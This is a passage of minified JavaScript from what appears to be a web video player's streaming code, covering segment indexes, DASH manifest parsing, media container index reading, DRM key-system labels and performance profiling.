g.tv.prototype.getLanguageInfo=g.tv.prototype.getLanguageInfo;sK.prototype.RH=function(x){return this.Z===x.Z&&this.C===x.C&&this.j===x.j&&this.reason===x.reason&&(!$W||this.Zp===x.Zp)};
sK.prototype.isLocked=function(){return this.j&&!!this.Z&&this.Z===this.C};
sK.prototype.compose=function(x){if(x.j&&Ht(x))return yv;if(x.j||Ht(this))return x;if(this.j||Ht(x))return this;var T=this.Z&&x.Z?Math.max(this.Z,x.Z):this.Z||x.Z,t=this.C&&x.C?Math.min(this.C,x.C):this.C||x.C;T=Math.min(T,t);var u=0;$W&&(u=this.Zp!==0&&x.Zp!==0?Math.min(this.Zp,x.Zp):this.Zp===0?x.Zp:this.Zp);return $W&&T===this.Z&&t===this.C&&u===this.Zp||!$W&&T===this.Z&&t===this.C?this:$W?new sK(T,t,!1,t===this.C&&u===this.Zp?this.reason:x.reason,u):new sK(T,t,!1,t===this.C?this.reason:x.reason)};
sK.prototype.K=function(x){return!x.video||$W&&this.Zp!==0&&this.Zp<x.Zp?!1:B6D(this,x.video.quality)};
var CVE=g.uG("auto","hd1080",!1,"l"),Ehv=g.uG("auto","large",!1,"l"),yv=g.uG("auto","auto",!1,"p"),$W=!1;qF.prototype.IX=function(x){x=x||yv;for(var T=g.ES(this.videoInfos,function(E){return x.K(E)}),t=[],u={},H=0;H<T.length;H++){var I=T[H].video;
u[I.quality]||(t.push(I),u[I.quality]=!0)}return t};
qF.prototype.Xk=function(x){x=x||yv;return g.ES(this.videoInfos,function(T){return x.K(T)})};
qF.prototype.getAvailableAudioTracks=function(){return this.audioTracks};var tff=new Set(["356"]);g.P(Z5,g.W);Z5.prototype.oU=function(){g.W.prototype.oU.call(this)};g.ct.prototype.set=function(x,T){this.C[x]!==T&&(this.C[x]=T,this.url="")};
g.ct.prototype.get=function(x){YW(this);return this.C[x]||null};
g.ct.prototype.sY=function(){this.url||(this.url=I6X(this));return this.url};
g.ct.prototype.clone=function(){var x=new g.ct(this.Z,this.K);x.scheme=this.scheme;x.path=this.path;x.j=this.j;x.C=g.hq(this.C);x.url=this.url;return x};
var ijV=[nJf];g.q=g.hv.prototype;g.q.GE=function(x){this.segments.push(x)};
g.q.wP=function(x){return!!this.a8(x)};
g.q.getDuration=function(x){return(x=this.a8(x))?x.duration:0};
g.q.fY=function(x){return this.getDuration(x)};
g.q.KO=function(){return 0};
g.q.SU=function(){return this.segments.length?this.segments[0].Mj:-1};
g.q.p4=function(x){return(x=this.a8(x))?x.ingestionTime:NaN};
g.q.mR=function(){return this.segments.length?this.segments[this.segments.length-1].Mj:-1};
g.q.nO=function(x){return this.mR()===x&&!this.Z&&x>=0};
g.q.dD=function(){var x=this.segments[this.segments.length-1];return x?x.endTime:NaN};
g.q.qU=function(){return this.segments[0].startTime};
g.q.Bg=function(){return this.segments.length};
g.q.gP=function(){return 0};
g.q.tp=function(x){return(x=this.yr(x))?x.Mj:-1};
g.q.Pj=function(x){return(x=this.a8(x))?x.sourceURL:""};
g.q.getStartTime=function(x){return(x=this.a8(x))?x.startTime:0};
g.q.S6=function(x){return this.getStartTime(x)+this.getDuration(x)};
g.q.Hj=oV(1);g.q.isLoaded=function(){return this.segments.length>0};
g.q.a8=function(x){if(this.C&&this.C.Mj===x)return this.C;x=g.ig(this.segments,new Fh(x,0,0,0,""),function(T,t){return T.Mj-t.Mj});
return this.C=x>=0?this.segments[x]:null};
g.q.yr=function(x){if(this.C&&this.C.startTime<=x&&x<this.C.startTime+this.C.duration)return this.C;x=g.ig(this.segments,{startTime:x},function(T,t){return T.startTime-t.startTime});
return this.C=x>=0?this.segments[x]:this.segments[Math.max(0,-x-2)]};
g.q.append=function(x){if(x.length)if(x=g.o2(x),this.segments.length){var T=this.segments.length?g.Q3(this.segments).endTime:0,t=x[0].Mj-this.mR();t>1&&wXv(this.segments);for(t=t>0?0:-t+1;t<x.length;t++){var u=x[t];u.startTime=T;u.endTime=u.startTime+u.duration;T+=x[t].duration;this.segments.push(x[t])}}else this.segments=x};
g.q.GQ=function(){return 0};vt.prototype.skip=function(x){this.C+=x};eoC.prototype.QX=function(){return new Uint8Array(this.data.buffer)};var fp={},Qy0=(fp.predictStart="predictStart",fp.start="start",fp["continue"]="continue",fp.stop="stop",fp),l6V={EVENT_PREDICT_START:"predictStart",EVENT_START:"start",EVENT_CONTINUE:"continue",EVENT_STOP:"stop"};ym.prototype.xT=function(){return!!(this.data["Stitched-Video-Id"]||this.data["Stitched-Video-Cpn"]||this.data["Stitched-Video-Duration-Us"]||this.data["Stitched-Video-Start-Frame-Index"]||this.data["Serialized-State"]||this.data["Is-Ad-Break-Finished"])};
ym.prototype.toString=function(){for(var x="",T=g.S(Object.keys(this.data)),t=T.next();!t.done;t=T.next())t=t.value,x+=t+":"+this.data[t]+";";return x};oe.prototype.Kt=function(){var x=this.pos;this.pos=0;var T=!1;try{$d(this,440786851)&&(this.pos=0,$d(this,408125543)&&(T=!0))}catch(t){if(t instanceof RangeError)this.pos=0,T=!1,g.Vh(t);else throw t;}this.pos=x;return T};mg.prototype.set=function(x,T){this.il.get(x);this.C[x]=T;this.url=""};
mg.prototype.get=function(x){return this.C[x]||this.il.get(x)};
mg.prototype.sY=function(){this.url||(this.url=nXV(this));return this.url};PH.prototype.ib=function(x,T){return x.kP?this.J?this.D=!0:this.D=gXm(this,x,T):gXm(this,x,T)};
PH.prototype.zZ=function(x){return this.j.get(x)};
PH.prototype.DG=function(x,T){x.il===this.C&&(this.C=dD(x,T));x.il===this.K&&(this.K=dD(x,T))};
PH.prototype.Fk=function(){return this.C!==this.K&&!this.D};rD.prototype.fC=function(){return!!this.C&&this.index.isLoaded()};
rD.prototype.HJ=function(){return!1};
rD.prototype.Vt=function(x){return[x]};
rD.prototype.DW=function(x){return[x]};zr.prototype.toString=function(){return this.start+"-"+(this.end==null?"":this.end)};g.q=vH.prototype;g.q.FQ=function(){return this.K&&this.C.index.nO(this.Mj)};
g.q.isEncrypted=function(){return this.C.info.isEncrypted()};
g.q.RH=function(x){return!(!x||x.C!==this.C||x.type!==this.type||(this.range&&x.range?x.range.start!==this.range.start||x.range.end!==this.range.end:x.range!==this.range)||x.Mj!==this.Mj||x.Z!==this.Z||x.j!==this.j)};
g.q.Zo=function(){return!!this.C.info.video};
g.q.Hk=function(){var x=ae(this),T="";g.Mg(x,function(t,u){T+=u+"_"+t+"_"});
return T.slice(0,-1)};BH.prototype.D3=function(){return this.C?this.C.sY():""};
BH.prototype.isDecorated=function(){return!!(this.C||this.K&&this.K.o8)};
BH.prototype.sC=function(){return V4(this.iG[0])};
BH.prototype.DG=function(x,T){this.QA.DG(x,T);if(this.C){this.C=dD(x,T);T=g.S(["acpns","cpn","daistate","skipsq"]);for(var t=T.next();!t.done;t=T.next())this.C.set(t.value,null)}this.requestId=x.get("req_id")};g.P(NH,rD);g.q=NH.prototype;g.q.Jy=function(){return!1};
g.q.Re=function(){return!0};
g.q.zH=function(){return!1};
g.q.HJ=function(){return!this.T};
g.q.Zg=function(){return new BH([new vH(1,this,this.initRange,"getMetadataRequestInfo")],this.T)};
g.q.Fr=function(){return null};
g.q.Fo=function(x){this.B7(x);return this.Re()&&x.j&&!x.K?new BH([new vH(x.type,x.C,x.range,"liveGetNextRequestInfoBySegment",x.Mj,x.startTime,x.duration,x.Z+x.j,NaN,!0)],this.index.Pj(x.Mj)):this.c7(nX(x),!1)};
g.q.U_=function(x,T){T=T===void 0?!1:T;x=this.index.tp(x);T&&(x=Math.min(this.index.mR(),x+1));return this.c7(x,!0)};
g.q.N6=function(x){s4(x)};
g.q.B7=function(x){return x.j===0?!0:this.index.mR()>x.Mj&&this.index.SU()<=x.Mj+1};
g.q.update=function(x,T,t){this.index.append(x);ZjD(this.index,t);x=this.index;x.Z=T;x.j="update"};
g.q.fC=function(){return this.HJ()?!0:rD.prototype.fC.call(this)};
g.q.c7=function(x,T){var t=this.index.Pj(x),u=this.index.getStartTime(x),H=this.index.getDuration(x),I;T?H=I=0:I=this.info.Zp>0?this.info.Zp*H:1E3;return new BH([new vH(3,this,void 0,"liveCreateRequestInfoForSegment",x,u,H,0,I,!T)],t)};
g.q.Lr=function(){return this.HJ()?0:this.initRange.length};
g.q.Dc=function(){return!1};Q4.prototype.update=function(x){var T=void 0;this.Z&&(T=this.Z);var t=new Q4,u=Array.from(x.getElementsByTagName("S"));if(u.length){var H=+J7(x,"timescale")||1,I=(+u[0].getAttribute("t")||0)/H,E=+J7(x,"startNumber")||0;t.K=I;var Z=T?T.startSecs+T.U0:0,e=Date.parse(uGi(J7(x,"yt:segmentIngestTime")))/1E3;t.T=x.parentElement.tagName==="SegmentTemplate";t.T&&(t.N=J7(x,"media"));x=T?E-T.Mj:1;t.D=x>0?0:-x+1;x=g.S(u);for(u=x.next();!u.done;u=x.next()){u=u.value;for(var l=+u.getAttribute("d")/H,m=(+u.getAttribute("yt:sid")||
0)/H,d=+u.getAttribute("r")||0,M=0;M<=d;M++)if(T&&E<=T.Mj)E++;else{var A=new tcf(E,Z,l,e+m,I);t.C.push(A);var R=u;var Y=H,b=A.startSecs;A=R.getAttribute("yt:cuepointTimeOffset");var z=R.getAttribute("yt:cuepointDuration");if(A&&z){A=Number(A);b=-A/Y+b;Y=Number(z)/Y;z=R.getAttribute("yt:cuepointContext")||null;var F=R.getAttribute("yt:cuepointIdentifier")||"";R=R.getAttribute("yt:cuepointEvent")||"";R=new Wt(b,Y,z,F,Qy0[R]||"unknown",A)}else R=null;R&&t.j.push(R);E++;Z+=l;I+=l;e+=l+m}}t.C.length&&
(t.Z=g.Q3(t.C))}this.D=t.D;this.Z=t.Z||this.Z;g.sy(this.C,t.C);g.sy(this.j,t.j);this.T=t.T;this.N=t.N;this.K===-1&&(this.K=t.getStreamTimeOffset())};
Q4.prototype.getStreamTimeOffset=function(){return this.K===-1?0:this.K};g.P(OU,g.hv);g.q=OU.prototype;g.q.KO=function(){return this.cU};
g.q.wP=function(x,T){x=fX(this,x);return x>=0&&(T||!this.segments[x].pending)};
g.q.SU=function(){return this.Ns?this.segments.length?this.yr(this.qU()).Mj:-1:g.hv.prototype.SU.call(this)};
g.q.qU=function(){if(this.qI)return 0;if(!this.Ns)return g.hv.prototype.qU.call(this);if(!this.segments.length)return 0;var x=Math.max(g.Q3(this.segments).endTime-this.jm,0);return this.Q9>0&&this.yr(x).Mj<this.Q9?this.a8(this.Q9).startTime:x};
g.q.dD=function(){if(this.Su&&this.Vh&&this.Vh>0)return this.Vh/1E3;if(!this.segments.length)return g.hv.prototype.dD.call(this);var x=this.mR();if(!this.Ns||x<=this.segments[this.segments.length-1].Mj)x=this.segments[this.segments.length-1];else{var T=this.segments[this.segments.length-1];x=new Fh(x,Math.max(0,T.startTime-(T.Mj-x)*this.cU),this.cU,0,"sq/"+x,void 0,void 0,!0)}return this.qI?Math.min(this.jm,x.endTime):x.endTime};
g.q.Bg=function(){return this.Ns?this.segments.length?this.mR()-this.SU()+1:0:g.hv.prototype.Bg.call(this)};
g.q.mR=function(){var x=Math.min(this.ll,Math.max(g.hv.prototype.mR.call(this),this.Np)),T=this.jm*1E3;T=this.Vh>0&&this.Vh<T;this.qI&&this.jm>0&&this.Np>0&&!T&&(T=this.yr(this.jm))&&(x=Math.min(T.Mj-1,x));return x};
g.q.S3=function(){return this.segments.length?this.segments[this.segments.length-1]:null};
g.q.GE=function(x){var T=fX(this,x.Mj);if(T>=0)this.segments[T]=x;else if(this.segments.splice(-(T+1),0,x),this.N8&&x.Mj%(300/this.cU)===0){var t=this.segments[0].Mj,u=Math.floor(this.N8/this.cU);x=x.Mj-u;T=-(T+1)-u;T>0&&x>t&&(this.segments=this.segments.slice(T))}};
g.q.Cv=function(){return this.Np};
g.q.nO=function(x){return pX?!this.Z&&x>=0&&this.mR()<=x:g.hv.prototype.nO.call(this,x)};
g.q.yr=function(x){if(!this.Ns)return g.hv.prototype.yr.call(this,x);if(!this.segments.length)return null;var T=this.segments[this.segments.length-1];if(x<this.segments[0].startTime)T=Math.max(0,this.segments[0].Mj-Math.ceil((this.segments[0].startTime-x)/this.cU));else if(x>=T.endTime)T=T.Mj+Math.floor((x-T.endTime)/this.cU+1);else{T=I2(this.segments,function(u){return x<u.startTime?-1:x>=u.endTime?1:0});
if(T>=0)return this.segments[T];var t=-(T+1);T=this.segments[t-1];t=this.segments[t];T=Math.floor((x-T.endTime)/((t.startTime-T.endTime)/(t.Mj-T.Mj-1))+1)+T.Mj}return this.a8(T)};
g.q.a8=function(x){if(!this.Ns)return g.hv.prototype.a8.call(this,x);if(!this.segments.length)return null;var T=fX(this,x);if(T>=0)return this.segments[T];var t=-(T+1);T=this.cU;if(t===0)var u=Math.max(0,this.segments[0].startTime-(this.segments[0].Mj-x)*T);else t===this.segments.length?(u=this.segments[this.segments.length-1],u=u.endTime+(x-u.Mj-1)*T):(u=this.segments[t-1],T=this.segments[t],T=(T.startTime-u.endTime)/(T.Mj-u.Mj-1),u=u.endTime+(x-u.Mj-1)*T);return new Fh(x,u,T,0,"sq/"+x,void 0,void 0,
!0)};
var pX=!1;g.P(wD,NH);g.q=wD.prototype;g.q.zH=function(){return!0};
g.q.fC=function(){return!0};
g.q.B7=function(x){return this.Re()&&x.j&&!x.K||!x.C.index.nO(x.Mj)};
g.q.Zg=function(){};
g.q.U_=function(x,T){return typeof x!=="number"||isFinite(x)?NH.prototype.U_.call(this,x,T===void 0?!1:T):new BH([new vH(3,this,void 0,"mlLiveGetReqInfoStubForTime",-1,void 0,this.XR,void 0,this.XR*this.info.Zp)],"")};
g.q.c7=function(x,T){var t=t===void 0?!1:t;if(this.index.wP(x))return NH.prototype.c7.call(this,x,T);var u=this.index.getStartTime(x),H=Math.round(this.XR*this.info.Zp),I=this.XR;T&&(I=H=0);return new BH([new vH(t?6:3,this,void 0,"mlLiveCreateReqInfoForSeg",x,u,I,void 0,H,!T)],x>=0?"sq/"+x:"")};g.P(KX,rD);g.q=KX.prototype;g.q.Jy=function(){return!1};
g.q.Re=function(){return!1};
g.q.zH=function(){return!1};
g.q.Zg=function(){return new BH([new vH(1,this,void 0,"otfInit")],this.T)};
g.q.Fr=function(){return null};
g.q.Fo=function(x){this.B7(x);return jE4(this,nX(x),!1)};
g.q.U_=function(x,T){T=T===void 0?!1:T;x=this.index.tp(x);T&&(x=Math.min(this.index.mR(),x+1));return jE4(this,x,!0)};
g.q.N6=function(x){x.info.type===1&&(this.C||(this.C=P5(x.C)),x.Z&&x.Z.uri==="http://youtube.com/streaming/otf/durations/112015"&&ew4(this,x.Z))};
g.q.B7=function(x){return x.j===0?!0:this.index.mR()>x.Mj&&this.index.SU()<=x.Mj+1};
g.q.Lr=function(){return 0};
g.q.Dc=function(){return!1};XO.prototype.IW=function(){return this.C.IW()};g.q=g.uQ.prototype;g.q.wP=function(x){return x<=this.mR()};
g.q.gP=function(x){return this.offsets[x]};
g.q.getStartTime=function(x){return this.startTicks[x]/this.C};
g.q.S6=function(x){return this.getStartTime(x)+this.getDuration(x)};
g.q.Hj=oV(0);g.q.p4=function(){return NaN};
g.q.getDuration=function(x){x=this.fY(x);return x>=0?x/this.C:-1};
g.q.fY=function(x){return x+1<this.count||this.Z?this.startTicks[x+1]-this.startTicks[x]:-1};
g.q.KO=function(){return 0};
g.q.SU=function(){return 0};
g.q.mR=function(){return this.count-1};
g.q.nO=function(x){return this.mR()===x&&x>=0};
g.q.dD=function(){return this.Z?this.startTicks[this.count]/this.C:NaN};
g.q.qU=function(){return 0};
g.q.Bg=function(){return this.count};
g.q.Pj=function(){return""};
g.q.tp=function(x){x=g.ig(this.startTicks.subarray(0,this.count),x*this.C);return x>=0?x:Math.max(0,-x-2)};
g.q.isLoaded=function(){return this.mR()>=0};
g.q.GQ=function(x,T){if(x>=this.mR())return 0;var t=0;for(T=this.getStartTime(x)+T;x<this.mR()&&T>this.getStartTime(x);x++)t=Math.max(t,c0i(this,x)/this.getDuration(x));return t};
g.q.resize=function(x){x+=2;var T=this.offsets;this.offsets=new Float64Array(x+1);var t=this.startTicks;this.startTicks=new Float64Array(x+1);for(x=0;x<this.count+1;x++)this.offsets[x]=T[x],this.startTicks[x]=t[x]};
g.q.cap=function(x,T){$8(this);this.Z=!0;this.startTicks[this.count]=T;this.offsets[this.count]=x};g.P(HT,rD);g.q=HT.prototype;g.q.Zg=function(x,T){var t=new vH(2,this,this.indexRange,"indexInfo",void 0,void 0,void 0,void 0,void 0,void 0,void 0,T),u=[new vH(1,this,this.initRange,"initInfo",void 0,void 0,void 0,void 0,void 0,void 0,void 0,T),t];this.info.contentLength>0&&x&&(t=t.range.end+1,x=Math.min(x,this.info.contentLength-t),x>0&&u.push(new vH(4,this,FO(t,x),"tbdRange",void 0,void 0,void 0,void 0,void 0,void 0,void 0,T)));return new BH(u)};
g.q.N6=function(x){if(x.info.type===1){if(this.C)return;this.C=P5(x.C)}else if(x.info.type===2){if(this.T||this.index.mR()>=0)return;if(g.Kj(this.info)){var T=this.index,t=x.IW();x=x.info.range.start;var u=g.C3(t,0,1936286840);t=YqJ(u);T.C=t.timescale;var H=t.h3;T.offsets[0]=t.ZE+x+u.size;T.startTicks[0]=H;T.Z=!0;x=t.X2.length;for(u=0;u<x;u++){H=T;var I=t.bFU[u],E=t.X2[u];H.count++;$8(H);H.offsets[H.count]=H.offsets[H.count-1]+I;H.startTicks[H.count]=H.startTicks[H.count-1]+E}}else this.T=x.IW()}if(this.info.LF()&&
this.C&&this.T){t=new DataView(this.C.buffer);T=this.index;u=this.T;x=this.indexRange.end;H=new oe(t);t=H;H=t.pos;I={mI:1E6,pQ:1E9,duration:0,bU:0,o1:0};if($d(t,408125543))if(I.bU=HH(t,!0),I.o1=t.start+t.pos,$d(t,357149030)){for(E=uz(t);!t7(E);){var Z=HH(E,!1);Z===2807729?I.mI=Ie(E):Z===2807730?I.pQ=Ie(E):Z===17545?I.duration=qH(E):EU(E)}t.pos=H;t=I}else t.pos=H,t=null;else t.pos=H,t=null;if(t!==null){T.C=t.pQ/t.mI;H=new oe(u);u=H;E=t.o1;H=u.pos;I=[];if($d(u,475249515)){for(Z=uz(u);$d(Z,187);){var e=
uz(Z);if($d(e,179)){var l=Ie(e);if($d(e,183)){e=uz(e);for(var m=E;$d(e,241);)m=Ie(e)+E;I.push({lJ:m,k0:l})}}}if(I.length>0&&x===I[0].lJ)for(x=0;x<I.length;x++)I[x].lJ+=1;u.pos=H;x=I}else u.pos=H,x=null;if(x!==null){x=g.S(x);for(u=x.next();!u.done;u=x.next())I=u.value,u=T,H=I.lJ,I=I.k0,$8(u),u.offsets[u.count]=H,u.startTicks[u.count]=I,u.count++;T.cap(t.bU+t.o1,t.duration)}}this.T=null}};
g.q.Ev=function(x,T,t,u){for(var H=[],I=x;I<=this.index.mR();I++){var E=FO(this.index.gP(I),c0i(this.index,I)),Z=this.index.getStartTime(I),e=this.index.getDuration(I),l=Math.max(0,T-E.start),m=Math.min(E.end+1,T+t)-(E.start+l);H.push(new vH(3,this,E,"getRequestInfoForRange",I,Z,e,l,m,void 0,void 0,u));if(E.start+l+m>=T+t)break}H.length||g.vW(new g.CS("b189619593",""+x,""+T,""+t));return new BH(H)};
g.q.Vt=function(x){for(var T=this.DW(x.info),t=x.info.range.start+x.info.Z,u=[],H=0;H<T.length;H++){var I=Mi(x.C,T[H].range.start+T[H].Z-t,T[H].j);u.push(new XO(T[H],I))}return u};
g.q.DW=function(x){for(var T=x.range.start+x.Z,t=0;t<this.index.mR()&&T>=this.index.gP(t+1);)t++;return this.Ev(t,T,x.j).iG};
g.q.B7=function(x){x.FQ();return this.fC()?!0:x.range.end+1<this.info.contentLength};
g.q.Fr=function(x,T){this.B7(x);if(!this.fC())return T=FO(x.range.end+1,T),T.end+1>this.info.contentLength&&(T=new zr(T.start,this.info.contentLength-1)),new BH([new vH(4,x.C,T,"getNextRequestInfoByLength",void 0,void 0,void 0,void 0,void 0,void 0,void 0,x.clipId)]);x.type===4&&(x=this.DW(x),x=x[x.length-1]);var t=0,u=x.range.start+x.Z+x.j;x.type===3&&(x.FQ(),t=x.Mj,u===x.range.end+1&&(t+=1));return this.Ev(t,u,T)};
g.q.Fo=function(){return null};
g.q.U_=function(x,T,t){T=T===void 0?!1:T;x=this.index.tp(x);T&&(x=Math.min(this.index.mR(),x+1));return this.Ev(x,this.index.gP(x),0,t)};
g.q.Jy=function(){return!0};
g.q.Re=function(){return!0};
g.q.zH=function(){return!1};
g.q.Lr=function(){return this.indexRange.length+this.initRange.length};
g.q.Dc=function(){return this.indexRange&&this.initRange&&this.initRange.end+1===this.indexRange.start?!0:!1};var wM={},WXD=(wM.COLOR_PRIMARIES_BT709="bt709",wM.COLOR_PRIMARIES_BT2020="bt2020",wM.COLOR_PRIMARIES_UNKNOWN=null,wM.COLOR_PRIMARIES_UNSPECIFIED=null,wM),Kp={},UGV=(Kp.COLOR_TRANSFER_CHARACTERISTICS_BT709="bt709",Kp.COLOR_TRANSFER_CHARACTERISTICS_BT2020_10="bt2020",Kp.COLOR_TRANSFER_CHARACTERISTICS_SMPTEST2084="smpte2084",Kp.COLOR_TRANSFER_CHARACTERISTICS_ARIB_STD_B67="arib-std-b67",Kp.COLOR_TRANSFER_CHARACTERISTICS_UNKNOWN=null,Kp.COLOR_TRANSFER_CHARACTERISTICS_UNSPECIFIED=null,Kp);g.iQ.prototype.getName=function(){return this.name};
g.iQ.prototype.getId=function(){return this.id};
g.iQ.prototype.getIsDefault=function(){return this.isDefault};
g.iQ.prototype.toString=function(){return this.name};
g.iQ.prototype.getName=g.iQ.prototype.getName;g.iQ.prototype.getId=g.iQ.prototype.getId;g.iQ.prototype.getIsDefault=g.iQ.prototype.getIsDefault;var kym=/action_display_post/;var FXq,qK,ZX;g.P(jP,g.$B);g.q=jP.prototype;g.q.isLoading=function(){return this.state===1};
g.q.sG=function(){return this.state===3};
g.q.TNU=function(x){var T=x.getElementsByTagName("Representation");if(x.getElementsByTagName("SegmentList").length>0||x.getElementsByTagName("SegmentTemplate").length>0){this.B9=this.Z=!0;this.timeline||(this.timeline=new HQH);qcm(this.timeline,x);this.publish("refresh");for(x=0;x<T.length;x++){var t=pp3(this,T[x]);if(!this.C[t.id]){var u=MK(CX(T[x],"BaseURL").textContent),H=CX(T[x],"Initialization"),I=J7(H,"sourceURL");H=kd(J7(H,"range"));this.C[t.id]=new NH(u,t,I,H)}t=this.C[t.id];u=J7(T[x],"id",
"AdaptationSet");u=u!==""?u:J7(T[x],"mimetype","AdaptationSet");I=this.timeline;I=I.j[t.info.id]||I.Z[u]||I.C||null;u=I.C;!this.N&&I.getStreamTimeOffset()&&(this.N=I.getStreamTimeOffset());if(I.T){H=[];u=g.S(u);for(var E=u.next();!E.done;E=u.next()){E=E.value;var Z=t.info.id,e=t.info.Zp*8,l=E.Mj;var m=E.startSecs;var d=I.N.split("$$");for(var M=0;M<d.length;M++)d[M]=d[M].replace("$RepresentationID$",Z),d[M]=d[M].replace("$Number$",l.toString()),d[M]=d[M].replace("$Bandwidth$",e.toString()),d[M]=d[M].replace("$Time$",
m.toString());H.push(new Fh(E.Mj,E.startSecs,E.U0,E.C,d.join("$"),null,E.Z))}u=H}else{I=ug(CX(T[x],"SegmentList").getElementsByTagName("SegmentURL"),I.D);H=[];for(E=0;E<I.length;E++){Z=H;e=Z.push;l=u[E];m=void 0;M=I[E];d=M.getAttribute("media");if(M=M.getAttribute("mediaRange")){var A=M.split("-");A[1]&&Number(A[1])>=0?m=kd(M):d=d+"?range="+M}e.call(Z,new Fh(l.Mj,l.startSecs,l.U0,l.C,d,m,l.Z))}u=H}t.update(u,this.isLive,this.mu)}ZQ4(this.timeline);return!0}this.duration=sEX(J7(x,"mediaPresentationDuration"));
a:{for(x=0;x<T.length;x++){I=T[x];t=pp3(this,I);u=MK(CX(I,"BaseURL").textContent);H=CX(I,"SegmentBase");I=kd(H.attributes.getNamedItem("indexRange").value);H=kd(H.getElementsByTagName("Initialization")[0].attributes.getNamedItem("range").value);t=new HT(u,t,H,I);if(!t){T=!1;break a}E4(this,t)}T=!0}return T};
g.q.refresh=function(){if(!this.isLoading()&&!this.T9()){var x=g.NY(this.sourceUrl,{start_seq:XpD(this).toString()});fDH(this,x).p_(function(){})}};
g.q.resume=function(){OQV(this)};
g.q.gb=function(){if(this.isManifestless&&this.K&&R$(this))return R$(this);var x=this.C,T=!1,t=NaN,u=NaN,H;for(H in x){var I=x[H],E=I.index;E.isLoaded()&&!t0(I.info.mimeType)&&(I.K&&(T=!0),E=E.dD(),I.info.iD()&&(isNaN(t)||E<t)?t=E:I.info.Zo()&&(isNaN(u)||E<u)&&(u=E))}return T||isNaN(u)?t:Math.min(t,u)};
g.q.qU=function(){if(this.isManifestless){if(PT(this))return PT(this);if(this.rp){var x=this.p4(this.gb());if(x&&(x-=this.rp,x>0))return this.gb()-x}}x=this.C;for(var T in x){var t=x[T].index;if(t.isLoaded()&&!t0(x[T].info.mimeType))return t.qU()}return 0};
g.q.getStreamTimeOffset=function(){return this.N};
g.q.p4=function(x){for(var T in this.C){var t=this.C[T].index;if(t.isLoaded()){var u=t.tp(x),H=t.p4(u);if(H)return H+x-t.getStartTime(u)}}return NaN};
var rV=null,pBb,zW=!((pBb=navigator.mediaCapabilities)==null||!pBb.decodingInfo),QEH={commentary:1,alternate:2,dub:3,main:4};var Sh=new Set,k8=new Map;vT.prototype.clone=function(x){return new vT(this.flavor,x,this.Z,this.experiments)};
vT.prototype.K2=function(){return{flavor:this.flavor,keySystem:this.keySystem}};
vT.prototype.getInfo=function(){switch(this.keySystem){case "com.youtube.playready":return"PRY";case "com.microsoft.playready":return"PRM";case "com.widevine.alpha":return"WVA";case "com.youtube.widevine.l3":return"WVY";case "com.youtube.fairplay":return"FPY";case "com.youtube.fairplay.sbdl":return"FPC";case "com.apple.fps.1_0":return"FPA";default:return this.keySystem}};
var O7d={},yF=(O7d.playready=["com.youtube.playready","com.microsoft.playready"],O7d.widevine=["com.youtube.widevine.l3","com.widevine.alpha"],O7d),Xx={},fFf=(Xx.widevine="DRM_SYSTEM_WIDEVINE",Xx.fairplay="DRM_SYSTEM_FAIRPLAY",Xx.playready="DRM_SYSTEM_PLAYREADY",Xx),xk={},fSd=(xk.widevine=1,xk.fairplay=2,xk.playready=3,xk);Jy.prototype.XA=function(x,T){T=T===void 0?1:T;this.Ar+=T;this.Z+=x;x/=T;for(var t=0;t<NK.length&&!(x<NK[t]);++t)this.C[t]+=T};
Jy.prototype.toString=function(){return""};
var NK=[20,100,500,2E3];g.q=Izi.prototype;g.q.isActive=function(){return!0};
g.q.sO=function(x,T){var t=this;if(T){var u={},H;for(H in T)u={Ci:void 0,qD:void 0},T.hasOwnProperty(H)&&(u.Ci=x.prototype[H],u.qD=T[H],x.prototype[H]=function(I){return function(){var E=g.FD.apply(0,arguments),Z=(0,g.bo)();E=I.Ci.apply(this,E);return CY(t,E,I.qD,Z)}}(u))}};
g.q.EB=function(x,T){if(T){var t=this,u={},H;for(H in T)u={gr:void 0,YV:void 0},T.hasOwnProperty(H)&&(u.YV=x.prototype[H],u.gr=T[H],x.prototype[H]=function(I){return function(){var E=g.FD.apply(0,arguments),Z=this,e=(0,g.bo)(),l=I.YV.apply(Z,E);return CY(t,l,null,e,function(m){return I.gr.apply(Z,[m].concat(E))})}}(u))}};
g.q.o$=function(x,T){var t=this;return function(){var u=g.FD.apply(0,arguments),H=(0,g.bo)();u=T.apply(null,u);return CY(t,u,x,H)}};
g.q.J2=function(){return new ii3};
g.q.II=function(x,T,t){t=t===void 0?1:t;T instanceof ii3&&(Elf(this,x,(0,g.bo)()-T.startTimeMs,t),T.C=!0)};
g.q.Hf=function(x,T){var t=(0,g.bo)();T=T();return CY(this,T,x,t)};
g.q.Qx=function(){var x={},T;for(T in this.C)if(this.C.hasOwnProperty(T)){var t=this.C[T];if(t.Ar===0)t=null;else{for(var u=Math.ceil(t.Ar).toFixed(0)+"."+t.Z.toFixed(0),H=0;H<NK.length;++H)if(t.C[H]>0)u+="."+NK[H].toFixed(0)+"_"+t.C[H].toFixed(0);else break;t=u}t&&(x[T]=t)}this.C=new HiH;return x};
g.q.toString=function(){return""};g.q=jGX.prototype;g.q.isActive=function(){return!1};
g.q.sO=function(){};
g.q.EB=function(){};
g.q.o$=function(x,T){return T};
g.q.J2=function(){};
g.q.II=function(){};
g.q.Hf=function(x,T){return T()};
g.q.Qx=function(){return{}};
g.q.toString=function(){return""};var Tc,wBb,KSd,XBh,xQh,T9h,oh,V1,Tp,eAX,fY;Tc=new jGX;wBb=!!+Oi("html5_enable_profiler");KSd=!!+Oi("html5_onesie_enable_profiler");XBh=!!+Oi("html5_offline_encryption_enable_profiler");xQh=!!+Oi("html5_performance_impact_profiling_timer_ms");T9h=!!+Oi("html5_drm_enable_profiler");oh=wBb||KSd||XBh||xQh||T9h?new Izi:Tc;g.Wn=wBb?oh:Tc;V1=KSd?oh:Tc;Tp=XBh?oh:Tc;eAX=xQh?oh:Tc;fY=T9h?oh:Tc;var O4;g.P(QF,g.W);
QF.prototype.initialize=function(x,T){for(var t=this,u=g.S(Object.keys(x)),H=u.next();!H.done;H=u.next()){H=g.S(x[H.value]);for(var I=H.next();!I.done;I=H.next())if(I=I.value,I.wb)for(var E=g.S(Object.keys(I.wb)),Z=E.next();!Z.done;Z=E.next()){var e=Z.value;Z=e;e=yF[e];!e&&this.B("html5_enable_vp9_fairplay")&&Z==="fairplay"&&(e=["com.youtube.fairplay.sbdl"]);if(e){e=g.S(e);for(var l=e.next();!l.done;l=e.next())l=l.value,this.j[l]=this.j[l]||new vT(Z,l,I.wb[Z],this.Pv.experiments),this.C[Z]=this.C[Z]||
